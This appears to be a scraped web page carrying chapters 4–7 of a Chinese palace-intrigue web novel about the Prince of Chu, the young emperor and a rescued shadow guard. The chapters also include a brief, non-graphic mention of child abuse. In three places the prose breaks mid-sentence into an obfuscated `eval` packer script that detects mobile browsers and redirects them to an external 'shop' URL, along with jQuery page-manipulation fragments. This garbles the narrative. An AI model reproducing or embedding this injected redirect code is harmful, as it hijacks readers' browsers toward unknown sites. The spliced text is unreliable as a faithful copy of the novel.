他不说话,封歧更不会主动开口解释,倒了杯水慢悠悠地喝。不久,贴身侍从庞绥捧着软甲和佩剑入内,封歧起身着甲,最后取过佩剑,说道:“我入宫一趟,几位先生早些歇息。” 深夜,着甲,佩剑,入宫。 只听不知是谁倒抽一口凉气。 封歧并未多看,推门而出。天已经蒙蒙发亮,再过一会儿,百官就要入宫了。 褚德一直守在外面,看到封歧,忙上前两步,封歧却拦住他:“你不能去。” 褚德指着一旁待命的王府护卫司的某位百户,嫉妒道:“凭什么他能去,我不能。” “本王深夜遇到刺客,唯恐外夷细作有什么阴谋,担忧陛下安危,是以入宫勤王。带着王府护卫乃情急之举。但你是什么身份?五军营从一品副将。你跟本王入宫,是要逼宫么。” 褚德居然大惊:“不是逼宫么?” 身后屋内,附耳的文士之中,传来更大的抽气声。 “你没事了,就回安定关去。今夜本就没你的事,只是以防万一才传信与你,本是要你整兵在外接应,看焰火行事。谁想你竟擅自跑回来,这笔账等本王得空再跟你算。”封歧一把拨开褚德,头也不回地朝外走去。 褚德一阵心虚,大声道:“关外卑职已布置妥当,命薛参将管事,不会误事!” 楚王业已走远,不知是否听见。 书房内,坐着几个文士,除了王府长史司的官员外,还有门客。他们对今夜的事一无所知,睡梦中被惊醒,一看王府火光映天,以为走水,披着外套跑出院子,又看到主院外兵士如山,吓得还以为外夷打进来了,直呼小命休矣。尔后人群忽然向两边散开,露出中央的楚王,这才知道一切无恙。 那之后,王府总管太监绪承安亲自将他们请至书房,奉茶压惊。屁股还没坐热,楚王和韦良辅一前一后进来,气氛颇为不睦,几人不敢在这时捋老虎胡须,静若处子。直到楚王披甲离开,又隐约听到什么“勤王”、“逼宫”,终是如坐针毡。 “韦长史,这,到底是怎么回事啊?”典簿房九思问这屋子里唯一一个知情的人。 韦良辅心情不佳,但涵养仍佳,闷声解释:“之前咱们殿下遇刺,恐怕是皇帝下的手,只是虽然有八九分把握,却苦无证据。” “啊?” 韦良辅:“殿下为试探虚实,晚间入宫打草惊蛇。果不其然,毒蛇出洞,咬了上来。” “嚯!” 韦良辅:“至于殿下为何放刺客离开……”他闭了闭眼,咽下郁气,为楚王解释,“如今朝廷局势微妙,正是新旧权势更替时分,这时候与皇帝撕破脸,必会引起动荡。殿下他也是……为百姓着想,这才按捺不发,徐徐图之。” “哦——” 这群老小子!把我当说书的了?韦良辅差点吐出一口老血,怒目而视。房典簿忙清清嗓子,接过话茬:“也就是说,如今咱们殿下和皇帝也算捅破了窗户纸,对于刺杀一事,两方都已心知肚明。” 韦良辅颔首:“正是如此。” 房典簿:“那殿下带兵闯宫……” 韦良辅:“回敬。” 房典簿同时说道:“示威。” 韦良辅摸摸美须:“大差不差吧。” 房典簿:“咱们殿下果然不是忍气吞声的人,只怕这下皇帝要怄死了。偷鸡不成蚀把米,嘿嘿。” 楚王殿下重兵在手,自然不会忍气吞声。皇帝陛下也确实一口气堵在胸口。 影卫回禀,楚王早有准备,任务失败,封麟就知道完了。封歧知道了,完了。他还没完全收拢的政权,完了。京营还在封歧手里,彻底完了。 他恨得一脚踹在那个叛徒影卫胸口,然而如今泄愤事小,怎么善后事大。命人将那个叛徒带下去关押起来,封麟咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521589|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着食指指腹,赤脚在房间里团团转。 约莫过了半个时辰,殿外突然传来哗啦啦的喧哗声。封麟恼怒万分,一把拉开门,呵斥的话已到喉咙边,却在看清门外景象后,硬生生吞了回去。 “皇,皇叔……” 封歧全副武装,带着数不清的士兵涌入前庭,守护宫城的亲军卫战战兢兢地挡在封歧的前面。然而那么点人,在封歧带来的大批人手面前,显得势单力薄,岌岌可危。 一刹那,封麟仿佛回到七年前。 那一夜,封歧也是如此,率兵闯入宫禁,逼迫他那才做了一天皇帝的叔父禅位。 火光下,男人面孔时亮时暗,面无表情盯着他,如九幽罗刹。 封麟被莫大的恐惧攫住心神,攥紧门框,战栗道:“皇叔,你这是作甚么……” 封歧幅度很小地歪了下脑袋,往前踏出一步。 前摄政王积威甚重,气势迫人,拦在前面的卫兵下意识后退一步。 封歧淡淡道:“让开,本王要和陛下说两句话。” 那卫兵是虎贲左卫的一员,额头渗出豆大的汗,握了握手里的长枪,仿佛以此得到些勇气,坚守道:“不,不行。殿下,如若陛见,得解甲卸兵。” 封歧今夜并非为逼宫而来,他再怎么不顾名声,也知这个世道,儒道独大,事事讲究师出有名,有些事仓促间不可为。 他大声解释:“今夜本王在府上遇刺,那些刺客精通东倭忍术,防不胜防。本王唯恐此乃外夷迷惑之计,真正的目标乃是陛下,心忧万分,这才带着府上护卫入宫勤王!现今看到陛下无恙,自然不会进犯!” 语毕,丢开佩剑。 王府护卫齐刷刷解兵,扔在地上。 封歧一动不动地盯着封麟,唇角一翘:“微臣情急之下,私闯宫闱,冒犯陛下。忘陛下恤臣拳拳之心,宥臣惶惶之举。” 封麟还能说什么。 他看得出来,封歧今夜真正的意图。封歧在告诉他:今夜我可以带着一百王府护卫闯到你的寝殿前,他日就可以率领京营万万人过来。 怒火冲肝,五脏俱焚,封麟眼前发黑,还得勉强撑住,不能在这么多人面前露怯。他咽下涌到喉咙的血腥气,微微一笑,和声道:“皇叔都是为了朕,朕怎会怪你。” 皇帝这么说了,身前的卫兵总算退开。封歧含笑上前,一阶一阶踩上台阶。封麟虽然还勉强不动,站在门边,但随着他的靠近脸色越发苍白。 “皇叔……”封麟挤出一个笑。 封歧轻推他肩膀,将他推后一步,自己也跨入地袱,反手关上门。 门一关,隔绝了外面的视线,封歧敛容。 “微臣很可怕吗?”封歧垂眸看着贴在身前的青年,真诚发问,“陛下在怕什么?” 二人独处比方才还要可怕,封麟受不了了,崩溃哭道:“对不起,皇叔,对不起……我鬼迷心窍,你原谅我吧……” 贼心十斤,贼胆仅有二两啊。既然怕成这样,为何还要起心害他?封歧不解,是真的不解。唯能沉默地以指腹擦去他滚落的泪。 好烫。就如他曾经捧出的一腔真心一样。 封歧说道:“陛下,您我皆知,臣不过废嫔和人私通的奸生子,没有天家血脉,当不得您这声皇叔。” 封麟哭着摇头,他自己都说不上来,到底是悔恨多一些,还是害怕更多。常年的示弱早已让他习惯了这幅面具,在封歧面前一遇到事就哭,而封歧总会解决一切。此情此景,他再想不出第二个对付封歧的办法。 他猛地抱住封歧的腰,哽咽万分:“不要!皇叔,我错了……你不要这样对我……” “皇叔……” 粉雕玉琢的男童歪着头,怯生生地看着他:“你是我皇兄吗?” 才十岁的封歧说:“我不是你皇兄。我是你的皇叔。” 男童笑得眼眸弯弯,脆生生喊道:“皇叔!” 5. 第 5 章 封歧打从记事起就知道自己不堪的身世。明泰帝为了皇家名声,不曾公开承认,却也从没有给过他正常皇子应有的待遇。 最开始,在他还不知道真相时,也渴望过亲情。可明泰帝每回看到皇子堆里的他,失望和厌恶的眼神都在说:你怎么还活着?你怎么还不去死? 他早慧地领悟到,宫人对他的虐待,全都来自这个至高掌权者的默许。 不过好在,他的母亲虽然因罪被秘密鸩死,娘家却十分强大,舅舅官居首辅,以致明泰帝不敢明目张胆地杀死他。 那个因病早逝的舅舅,庇佑了他最弱小的一段时光。 只是到底不能将他接出宫去,时时照拂。他在宫里吃尽了苦头。有个老太监,看他长得漂亮,拉着他的手摸自己的断茬。宫里还有一种刑罚,叫做“墩锁刑”,将人关在木箱里,锁住四肢和头颅,人在里面不得站、不得坐、不得蹲,最终四肢淤血,痛苦而亡。他也受过。 舅舅再次入宫看望他,他刚被人从木箱里放出来,气息奄奄,质问为何自己生而污脏?为何偏偏是他,要受这样的罪?为何不让明泰帝直接杀了他! 舅舅请来太医,为他针灸活血。等他睡过一觉,情绪稳定许多,才将他搂在怀里,坚定地告诉他:“婴孩生而无罪,你不必为你母亲犯下的过错赎罪。只是命运从来坎坷,有些人坎坷在前,有些人坎坷在后。” 他问:“舅舅也有坎坷吗?” “自然,舅舅现在就正在遭遇一个坎坷。” “你能撑过去吗?” “当然。” 那个男人没有撑过去,这番对话过去不到半年,他就因病去世了。那会儿的封歧才十岁,早已记不清男人的面容,却一直记得那个怀抱的力量。记得他的正直,和某些道听途说的政治手腕。 后来掌权,常有人感慨,楚王绝类尔舅。 一个十岁的皇子,哪怕身世谣言乱飞,但只要皇帝没有亲自承认,他就还是皇子。他可以入宗学,走进更多人的视线。 宫人已经无法轻易磋磨他。 但其他皇子可以。 皇宫里,和他年纪差不多大的皇子还有四个,一个大他半个月的哥哥,三个弟弟。总角之龄的孩童,不辨正邪,最天真也最残忍。 他就是他们最有趣的玩具。 有一日天气晴好,几个皇子在御花园里踢毽子。这几人是皇宫里出了名的混世魔王,封歧远远绕道走,却被眼尖的六皇子叫住:“七弟!过来!” 他站住不动。八皇子笑嘻嘻地跑来拉他:“来嘛来嘛,我们玩个好玩的。” 他被拽到一棵老槐树下。六皇子坐在石凳上,翘着腿,手里还拿着刚才的毽子。 “今天玩‘审犯人’,”六皇子说,“你是犯人,我们审你。” 八皇子在一旁拍手:“好!我来当太监!” 九皇子说:“笨,衙门里哪有太监。你当师爷吧,我当衙差!” 封歧站着不动,八皇子从背后推了他一把:“跪下!犯人见了官老爷要跪!” 他跪下去,没有一点缓冲,膝盖磕在碎石上,疼得眼前发黑。 “犯人封歧,”六皇子清了清嗓子,捏着不知从哪学来的腔调,摇头晃脑,“你可知罪?” “……不知。” “还敢嘴硬!”六皇子解下腰间马鞭,一挥,没有打到他,只是吓唬,“你偷了玉佩,有人看见了。” “我没有。” “我说你有你就有。认不认?” 封歧不说话了。 “认不认?!”六皇子声音拔高。 “官老爷问你话呢!”九皇子戳他的肩膀,“你不认罪,就要用刑了。” 封歧抬起头,看着他们。他们的眼睛亮亮的,脸上带着兴奋的红晕。对他们来说,这只是个游戏。 “我认。”他说。 六皇子愣了一下,显然没想到他这么痛快就认了。跟他想的一点都不一样。 “认了?那你……那你说一下口供!” “我偷了六哥的玉佩。” “是我的!我的玉佩乃父皇赏赐,更值钱!”九皇子在旁边嚷嚷。 “都一样,”六皇子挥手让他闭嘴,又对封歧说,“你既然认罪,就要受罚。罚你……自扇耳光,扇到我满意为止。” 封歧脸色微变。 六皇子已经在为自己这个随机应变而得意,扬起下巴:“你不自己扇,就让‘侍卫’扇。” 扮演侍卫的九皇子眼睛一亮,蠢蠢欲动。 封歧猛地站起身,却引起三人不满。他们强行把他重新摁回去,九皇子站到前面,打了他一巴掌。 好疼。 封歧甚至在嘴里尝到一丝血腥味。 九皇子又举起手……封歧闭上眼,漠然想,还不如自己来,自己来至少不会这么用力。 然而这巴掌没有落下。年仅四岁的皇帝幼孙封麟,摇摇晃晃地走过来,挡在他面前,生气地喊,不许欺负人。 明泰帝对这个孙子真是捧在掌心怕碎了,含在嘴里怕化了。皇子们虽然年幼,却已初谙人情,知道这个小不点得罪不起,只得败兴离去。 小不点一摇一摆地转过身,看向封歧,圆溜溜的大眼睛十分纯净,小声问他是否有事。 那天阳光真好啊,万里无云。 翌日申时,楚王还不见醒。前一夜折腾到天明,多睡一会也算正常,但一直睡到这个点,就不太正常了。 王府总管太监绪承安擅自推门入内,到床边,只闻帐中呼吸浑浊,心中一紧,顾不得尊卑,忙掀开床帐,却见楚王殿下双眼紧闭,面色潮红,呼吸急促,竟是急症之状。 王府设有良医所。所里的八品医正诊断后,道殿下这是悲恸过甚,损耗心肺,复加彻夜不寐,劳倦内伤所致。乃拟归脾汤合生脉散,培补心脾,敛气安神,待神志稍定,再议滋阴降火。 楚王病重,府里的人一得到消息就赶来探望,此刻全都围在外间。 听到脉症,众人均是一怔。 彻夜不寐理解,但这“悲恸过甚”是为哪般?叔侄反目,确实值得伤心,然而观昨夜殿下运筹之帷幄,实在看不出半点端倪。 唯有韦良辅猜到些许内情,心里咯噔一声,抬眼四望,想找个同为知情的人排一排心中八卦。却见其余人都是一脸茫然。绪承安等贴身侍从,知道楚王和皇帝的私情,却不知二人昨夜反目。文官门客知道二人反目,又不知曾有情丝。 韦长史一时生出些众人皆醉我独醒的苍凉。 医正写好方子,交给绪总管,又呵斥其他人:“围在这里做什么?都回去,不得打扰殿下静养。” 诸人离去。 韦良辅留在最后,追问楚王的病症。医正见他一片忠心,不似那些虚伪之徒,便多说了两句:“昨夜听到些许动静,老夫没出门,不知发生了什么。唉,前日来诊平安脉时都好,短短一日竟使殿下悲思至此。大人看起来知晓些许内情,更要劝殿下务必静心安养,不可再受情志刺激,否则恐有厥脱之虞。” 韦良辅摸着美须,十分唏嘘。 没想到殿下这么坚强,受如此情伤,全都一个人强撑着。 酉时三刻,楚王喝了药,复又歇下。绪总管端着药碗出门,恰好看到守门的阍人进来,急冲冲地,将人一把拉住,斥道:“怎么走路的,一点规矩都没了。殿下刚刚歇下,不论是谁来见,只要不是要紧的人,都挡回去,明日再来。” 阍人递过拜帖,道:“刑部侍郎成谨,算不算要紧的人?” 刑部侍郎本身不是个要紧的官职,但要加上成谨二字,就顶顶要紧了。 当然,这位成侍郎本人倒也没什么,奈何有个非常有什么的爹。他爹写公文,署名前的头衔是“特进光禄大夫,太师兼太子太师,吏部尚书,中极殿大学士”。 绪总管接过拜帖,想了想,成侍郎本人和殿下关系也尚可。身份缘故,殿下平辈相交的朋友不多,这成侍郎勉强算一个。 遂踅身,进屋转交拜帖。 不过几许工夫,封歧还没睡着。听到禀报,想到昨夜那么大的动静,今日各官署必定不平静,成谨来应是有事。便把人请进花厅,撑起病体,收拾仪容,坐上步舆抬去花厅。 成谨不喜喝茶,王府下人知道,给他上了一壶鲜果加蜂蜜泡的甜水。 他喝口甜水,捻起碟子里的糕点,只见也不知是用什么做的,半透明,指甲大小,层叠花瓣挤出玲珑花苞,花瓣上沾了金粉,向内过渡出隐约的经络。玉器铺里的饰品都雕不出这么精致可爱。 他欣赏够了,放在鼻尖嗅了嗅。唔,有股淡淡的桂香。 “放心,没有下毒。” 听到人声,成谨放下手,看着封歧自外走来,也不起身行礼,靠在椅背上,如在自家般放松,挑眉道:“你家厨子这手艺,全京直隶找不出第二个了。”说完,把指尖的点心塞进嘴里,品了品,颇为失望:“不就是普通的水晶桂花糕么。” 封歧笑道:“可不就是水晶桂花糕。” 成谨:“你这好奢靡的作风还是没变,你们家的下人尽琢磨如何讨你喜欢了,连这点心也做得如此华而不实。” “我府上下人不讨我喜欢,难道讨你喜欢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521590|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 封歧在主位上坐下。他的热症未消,头昏脑涨,四肢乏力,短短几步路走得胸闷气短,偏又决不在人前失仪,只能强端着,直到挨上椅子,才松泛些。 成谨打量着他,说道:“行了,我看你脸色不太好……” 封歧立马道:“哪里不好了。” 成谨啼笑皆非,继续道:“我就长话短说了。今日凌晨你举兵闯宫,好几个上值早的老大人亲眼所见,都传开了。辰时,监察御史的劾本就送到了阁里。内阁无权驳回,但压上一段时间还是有余裕的,我爹赶紧让我来问问殿下……” 成谨的爹成阮,众多头衔里有一个建极殿大学士,即内阁首辅。 按理说官居至此,已经不会旗帜鲜明地站队。但成阮乃当初封歧摄政时一手从翰林院里提拔上来,身上的“楚王党”的烙印是去不掉了。 一朝天子一朝臣,这等事关谁做天子的大事,成阮无论如何也要给楚王通通口风。 封歧道:“元辅的心意本王领了,转告元辅,此事陛下已有计较。若有劾本,不必压着,统统送到御前无妨。” 成谨松了一口气:“那就行。” 封歧似笑非笑瞥了他一眼:“放心,本王这棵树一时半会倒不了。” 成谨清了清嗓子,低头喝甜水,又道:“今日这事不仅是旁人,连我爹都吓得不清。以后有什么大事,好歹也给我们露点口风。” 封歧解释:“昨夜有倭贼行刺,我担忧陛下安危,这才入宫,事出突然,来不及和你们说。我带的也不是京营士兵,是府上护卫,算是家臣。这件事往小了算,不过我和陛下的家事,不必担忧。”说的是对外的那套说辞。 成谨品着那句“不过我和陛下的家事”,说不清为什么,有种惊心之感。 他神色有异,封歧便问出来:“怎么?” “我是觉得……”成谨慢慢道,“你从前,铁了心辅佐今上,要做个贤王。但今儿听你语气,怎么,好似,有点儿奸王的味道了呢。” 竟把“我”排在“陛下”之前,虽是无心之言,但楚王之城府,只要他想,断不会犯这种错。无心即有心。 封歧一顿,淡淡道:“不要想多,我只能做楚王。” 成谨说道:“还有一事,陛下今日发作了虎贲卫的指挥使,换了个人,是昌兴侯的一个侄子。” 封麟即位后和勋贵走得更近,封歧并未有多意外,说道:“今晨我闯宫时,守午门的是虎贲卫。” 成谨解惑,点了点头,这个话题已至结束,没想到楚王殿下蹙着眉,颇有些沉郁地加了句:“随他换吧,反正上十二卫我本来就没怎么插手。他换来换去,反而容易寒了他自己人的心。” 一句话和皇帝划得泾渭分明,语气幽怨带恨,怎么听都有种……不对劲。 楚王和陛下,昨夜一定出事了,且是无法修复关系的那种大事。 成谨灵光一闪,试探道:“昨夜的倭贼,莫非,来自宫里?” 楚王殿下一言不发地把他望着。 封歧歇了一天。第二日病没好,然而恰逢朝会,这个节骨眼上,他无论如何都要到场。一大早灌了碗参汤,穿上御赐虺袍,精神抖擞地入宫去了。 朝会上,皇帝不时如以前那样问他一句“楚王觉得如何”。封歧只一味点头,或回一句“陛下裁断”,看似尊贵矜持,实则走了已经有一会,脑子如糨糊,大臣奏禀的话就是糨糊外乱飞的苍蝇,什么都没听进去。 不过没关系,朝臣们知道这对叔侄关系如常就行。 好不容易捱到朝会结束,封歧端庄地来到金銮殿外,端庄地上了步舆,低声催抬舆的太监快些,把那些赶过来想和他说两句话的官员甩到身后。 到了长安左门,上了王府马车,眼见自由在望,楚王殿下松了口气,向后靠上软垫。 岂料这时,一张纸裹着石子投进车里。 “什么人!”封歧瞬间坐直,掀开帘子,目光如炬。车夫茫然回望。 一旁的庞绥已起身追去。 不多时回转,失落地抱拳:“那人在屋顶上跑得太快,属下没追上。属下失职。” 封歧思忖片刻,摆了摆手,回到车里,展开纸条,只见上面歪歪扭扭画着一行字:求您救救十七哥。 封歧又陷入沉默。 到此时分,早起喝的那碗参汤已经没什么作用了,头疼得仿佛要劈开,他还能神智清楚地看纸条,全赖意志强撑。 但是……那个影卫为他挡过箭,他欠他一条命。 封歧再次掀开车帘,哑声道:“行人司西边有个没有门匾的官署,去那里。” 6. 第 6 章 外皇城中轴大街名叫长安街,街道两侧各司部衙门林立,乃百官日常当值办公之所。 西北角行人司的更西边伫立着一个衙门,玄铁大门紧闭,无牌匾,无悬旗,亦无守卫。素日不见人来,亦无人往,分外冷清。 楚王的车架就停在这座衙门对面的大树下。 马车内,封歧端坐正中,唇色苍白,颧骨潮红,双眼紧闭,眉宇隐忍。他已在这等了约一刻钟,这一刻钟对于大病未愈的他来说分外煎熬。 “殿下!”奉命入宫讨圣旨的庞绥终于现身,在车外禀道,“于公公来了。” 随即传来于公公的声音:“奴婢拜见楚王殿下。因这里的人只听皇帝陛下一人之令,其余人等不可出入,陛下担心有什么误会,命奴婢代上垂询,不知楚王殿下有何要事。” 封歧皱眉,不理他,只道:“庞绥,你是怎么替本王传话的。回去领罚。” 庞绥知道自家主子的意思,忙道:“属下说了,您因近日连番遇刺,夙夜难寐,要讨一个影卫。” 于公公深吸一口气,恭敬地道:“楚王殿下,先帝建影卫时有言,影卫虽不属于上十二卫,但和上十二卫相同,都只对皇帝负责……” 话未落,一只骨节分明、苍白劲瘦的手撩开车帘一角,楚王坐在车里,垂目而视,淡淡道:“哦,皇帝侄儿这是不同意。” 于公公心脏狂跳,额角生汗:“是先帝……” 楚王已不耐烦地甩下帘子,在帘子垂落前最后看了眼庞绥。 庞绥忙低声道:“于公公,您可想好了再说话。陛下视我们殿下如兄如父,怎会不顾他安危。您要是矫诏,使他二人离心,这后果,您可承担得起?” 于公公扑通跪倒在地,无奈地从袖子里取出一枚金色签令,双手高举过头顶,颤巍巍道:“是奴婢说错了话,请殿下恕罪,影卫司的信物在此,殿下自便。只是,这物等会奴婢还得还给陛下……” 楚王道:“什么腌臜地劳得本王亲自过去?庞绥,你替本王跑一趟,就说,”他实在支撑不住,一手撑住额角,身上忽冷忽热,直打摆子,用尽全部意志才使声音如常,“影卫十七曾替本王挡箭,本王感其忠义,就要他了。” 庞绥领命而去。以签令敲开大门,这道门里的人全都以铁具覆面,身穿黑衣,只露出眼睛以上,乍一眼看去,根本分不清谁是谁。接待他的影卫也是如此打扮,接过签令,一声不吭,一双沉默坚毅的眼睛把他望着。 庞绥只好主动开口:“请问影卫十七何在?” 那影卫转身就走,步子跨得极大,庞绥不料这人当真连一个字都不说,愣了一愣才跟上。 穿过狭小的庭院,来到一处开阔的练武场,数个黑衣人在场中对练。庞绥好奇地看了两眼,然而,就这一走神的工夫领路的影卫已将他甩开好远,只得歇了心思,小跑上前。 他们来到练武场对面一隅,这里地面竟有道暗门,直通地底深处。一打开门,一股腐朽潮湿的味道扑面而来,庞绥皱了皱眉,心里已有种不好的预感。 踏入地道,影卫从墙上取下一个火把,用火折子点燃。庞绥这才得以看清,果然如他所料,这里是一处暗狱。 也许是故意为之,暗狱建得极其逼仄,他们走在过道里,也不得不弯下身子。 两侧牢房以土夯实,只留一个低矮铁门通风,成年男人需要贴地才能爬进去。可以想见,若是被关在这里头,怕是连坐都坐不直,不见天日,虫蚁为伴,就跟关在棺材里一样,再坚强的人都要被逼疯。 一路无话,弯腰摸过两道铁门,影卫停下步子,蹲下身,从墙上小坑里掏出一枚钥匙,打开身前的铁门,然后让开身子。 庞绥走上前,只看了一眼,就忍不住“呕”了一声,莫大的愤怒涌上心头。 庞绥搀扶着十七走出影卫司,树下马车已不在原地,只有于公公留在外面。于公公说楚王已回王府。庞绥谢过,犹豫了下,让十七在树下等他片刻,他去最近的车马行租了辆马车过来,载着十七回府。 一到王府,庞绥便带十七去见楚王,不想在门口遇到绪总管。绪总管一见十七立马捂住鼻子,皱眉道:“咱们殿下最好洁不过,衣服上溅个油斑都看不得,如此怎好入内,咱家先带他去梳洗一二。” 出影卫司时,以为楚王就在门口,为免失礼,十七已换上一身干净衣服。然而蓬头垢面,身上还有股血酸味,怎么都称不上体面。 只是若要梳洗,恐怕就太耽误了。 十七挣开庞绥的胳膊,勉强站稳,抱拳道:“在下不入内污殿下的眼,就在门外和殿下说两句话。请公公通融禀报一下。” 绪总管道:“是殿下找你问话,还是你找殿下有事?” 十七迟疑一瞬,低声道:“是我找殿下。殿下救我,不胜感激,此行正为谢恩而来。” 听他这话,倒好似要拂楚王美意。绪总管想到楚王撑着病体去要人,顿为楚王不值,眉头一竖,面上露出几分不客气,沉吟不语。 庞绥这时不忍道:“绪公公,您便去通禀一下,到底如何由殿下说了算。” 绪总管长叹一声,将庞绥拉到一旁,低声道:“你道是咱家有意为难么,实在是殿下回来后就昏迷不醒,良医正看过,不许打扰殿下歇息。” 他声音虽低,但十七经受训练,耳力非凡,隐约听了个囫囵,目露担忧,张嘴想说什么,又闭上了。 庞绥走回来,向十七道:“殿下此时有事,不便见客,我这便带你去客院休息一二,请大夫给你看一下身上的伤,回头再来见殿下,如何?” 十七这回没有坚持,点头应下。 庞绥亲自将他带到客居之处,挑了个独栋小院,又让人送来热水,请来大夫。 王府的良医正乃是个慈祥的老人,看诊不论身份,庞绥一请便来。 十七背主,没有立刻被杀乃是因为皇帝拿他泄愤。受过一顿折磨,胸膛布满鞭痕,左腹有一块烙伤,脏器也因击打而有伤损。 医正唏嘘不已,道一般人受这样的伤怕是动都不能动,阁下还能走路实非常人。开了内外伤药,叮嘱十七务必静养,方才离去。 十七喝了药,等人走后,便撑着床沿坐了起来,蹒跚着走到窗前坐下。 床榻太软,易蚀人心,若是一觉陷进去,怕会舍不得。 院中种了两棵说不上是什么的花树,一丛绿藤沿墙攀爬,又爬上藤架,留下半院绿荫。藤下有假山池水,水边有一计时滴漏。 流水淙淙,格外清凉。 哪怕是个不起眼的院子,造景也如此别致。就和这座府邸的主人一样,华贵精致,一丝瑕疵也无。 十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521591|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七盯着那处发起呆。直到滴漏降下四刻,有仆役来院中相请。 十七想,殿下只睡了四刻钟,且一醒就召他了么。他推门而出,看到院中竟停了顶两抬步舆,一时受宠若惊,踟蹰不敢上前。 仆役待他十分有礼,躬身道:“大人身上有伤,不良于行,殿下要小的们备下步舆,望大人不弃。” 又回到楚王寝居的院子,这回没人相拦,十七下了步舆,在仆役的搀扶下来到门边。仆役大声道:“殿下,贵客带到了。” 屋内响起一道有些气虚的声音:“进。” 也不知怎的,就这短短一个字,十七竟觉心头一酸。他此来只是为了谢恩,本打算隔门说话,可此时此刻再难忍受叫嚣的私心,推门而入。 上回来此是夜间,白日所见则完全不同,一推开门,扑面而来的一股淡雅温暖的熏香,他先踏入的是一间小厅,左右各有两道小门连通厢房。十七听着声音,来到左边,这道门上挂了一道纱帘。十七透过这道纱帘,看到后面的床上坐着一人,套着宽松的白色衣袍,仿佛镀了一层柔美的光晕。 他又生出些卑怯,迟滞在门边。 封歧也已看到他了,不知他在磨蹭什么,等得不耐烦,又催了声:“进来。” 帘外的人这才入内。 封歧这一觉做了很多乱七八糟的梦,醒来后头更加疼痛,此刻心情着实算不得好,眉心一蹙,打量着眼前沉默的男人,第一句却是解释:“本来该在花厅见你,但本王病得厉害,实在懒得起身,有失礼之处还望见谅。” 十七想说“岂敢”,觉得拿乔,若说“不怪”,那更有蹬鼻子上脸之嫌。他自知口拙,多说多错,于是只跪地道:“见过殿下。” “起来吧,”封歧朝不远处的绣墩抬了抬下巴,“坐。” 十七不曾推辞,依言坐下,眼睛只看着脚尖前方三寸地方。 封歧道:“听说你一身的伤,皇帝罚你了?” “是。” “他为何没杀你?” 十七道:“若今日没有殿下带卑职出来,卑职撑不了几日。” 封歧问:“本王在你遇难的时候救过你?在你快饿死的时候施舍过你银两?在你饥寒交迫之时给你喝过热汤?” 十七微微张嘴,一脸茫然。 封歧:“本王既于你无恩,你为何三番两次救本王。” 十七眼里飞快地闪过什么,低下了头。 封歧冷声道:“抬头。” 好在面前这个男人格外听话,果然抬起了头。 封歧又命令:“看着我。” 十七眼睫颤了颤,仿佛在对抗着什么,终是听命掀了起来。 封歧一瞬不瞬地看着眼前这个矛盾的男人,这个男人让他想到豹子,矫健危险,偏又在他面前袒露出脆弱的肚皮,门户大开,温顺沉默。 这让他生出些许莫名的战栗。 封歧哑着嗓子说道:“拿掉面具。” 十七浑身一震,肌肉紧绷。这是他今日第一次表露出抗拒。 封歧若有所思:“我们见过?本王认识你?” 十七不作声。 封歧没有再开口,只是闲适病弱地坐在床头,居高临下地看着他。 许久,十七抬起手,解开耳后卡扣,取下了倒三角形的铁面具。 7. 第 7 章 这是一张堪称俊朗的脸,虽没有到掷果盈车的地步,但也绝不泯然于众,不至于令人过目即忘。 目光一寸寸掠过五官,封歧的心头反倒生出疑惑,他无比确定,从前没有见过这张脸。 封歧陷入沉思,一时不语。 屋中另一个男人在他的目光下反而渐渐恢复镇定。封歧想了一会,忽然不知道自己为何要为此费心伤脑,皱眉说道:“不管如何,本王说过,欠你一个人情,如今救你,便算应诺,你今后自安心住下,皇帝不敢动你。”已是打发人离去的语气。 十七却离开绣墩,跪在地上:“这些话本来在衙门外就要和殿下说,只是没遇到您。殿下,多谢您相救之恩,殿下好意,卑职心领,只是……” 封歧眉峰一跳:“嗯?” 十七说道:“卑职悖逆君命,有负皇恩,罪无可恕,死不足惜,恐怕要辜负殿下好意。” 封歧听得出,这是他的真心话,他就是如此认为的。 封歧自己也执掌京营,自然知道,对于士兵而言,“忠”之一字,居百行之先,更遑论是几乎与世隔绝,规训更严格的影卫。十几年的训令,足以抹平棱角,泯灭人性,使得他们成为冰冷听话的兵器。说实话,在接触十七之前,他对影卫只有如此片面刻薄的印象。 封歧按住额角:“等会,本王想不明白了……” 这人抗命背主,自知罪孽深重,所以甘愿受罚,为此付出代价。 但是,既然还认这个“忠”字,为何要行不忠之事? 封歧大病未愈的脑子终于捋顺——问题又绕了回来,这个影卫为何要怀着赴死的决绝,背叛刻入骨髓的训诫和十多年的忠诚,救他? 为什么? 